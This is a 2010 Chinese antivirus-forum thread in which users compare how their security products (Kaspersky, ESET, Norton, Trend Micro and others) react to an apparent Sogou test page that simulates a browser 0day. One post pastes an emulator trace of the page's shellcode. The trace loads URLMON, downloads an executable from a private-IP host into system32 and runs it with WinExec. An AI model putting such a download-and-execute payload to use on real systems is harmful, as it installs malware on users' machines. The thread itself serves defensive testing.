微点区看帖发现一个毒

显示全部楼层 · 发表于 2010-11-22 22:37:07

显示全部楼层 · 发表于 2010-11-22 22:38:27

http://ie.sogou.com/lab/inc/safe/Leak_2K0day.htm

微点主动表示发现进程溢出，金山毒霸杀之。

显示全部楼层 · 发表于 2010-11-22 22:57:03

本帖最后由 promised 于 2010-11-22 22:58 编辑

<Error>
cpu error opcode 1e not supported
<Step>
313193
<Profile>
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0x0041717e =>
= "URLMON";
) = 0x7df20000;
UINT GetSystemDirectory (
LPTSTR lpBuffer = 0x0012fac8 =>
= "c:\WINDOWS\system32";
UINT uSize = 255;
) = 19;
ERROR DeleteFile (
LPCTSTR lpFileName = 0x0012fac8 =>
none;
) = -1;
HRESULT URLDownloadToFile (
LPUNKNOWN pCaller = 0x00000000 =>
none;
LPCTSTR szURL = 0x00417185 =>
= "http://10.1.211.129/safe/Torjan/HKFXOK.exe";
LPCTSTR szFileName = 0x0012fac8 =>
= "c:\WINDOWS\system32\~.exe";
DWORD dwReserved = 0;
LPBINDSTATUSCALLBACK lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0x0012fac8 =>
= "c:\WINDOWS\system32\~.exe";
UINT uCmdShow = 0;
) = 32;
<Dump>
...

复制代码

显示全部楼层 · 发表于 2010-11-23 20:41:35

卡巴拦截

显示全部楼层 · 发表于 2010-11-23 21:27:38

ESS拦截

显示全部楼层 · 发表于 2010-11-23 22:30:00

卡巴拦截。

显示全部楼层 · 发表于 2010-11-24 15:31:19

搜狗的模拟0day的测试网页吧，为啥枫树没反应捏

显示全部楼层 · 发表于 2010-11-25 17:14:22

显示全部楼层 · 发表于 2010-11-25 17:21:39

Web 站点已被趋势科技™ PC-cillin™ 云安全软件 2011 全功能版阻止
危险页面
网址:
http://ie.sogou.com/lab/inc/safe/Leak_2K0day.htm

趋势科技已经确认此 Web 站点会传送恶意软件或包含在线欺诈。

关闭此窗口

是否仍要冒险打开此页面？

版权所有© 2001-2010 趋势科技（中国）有限公司/Trend Micro Incorporated。保留所有权利。

显示全部楼层 · 发表于 2010-11-25 20:25:39

诺顿报入侵企图已被拦截

[其它] 微点区看帖发现一个毒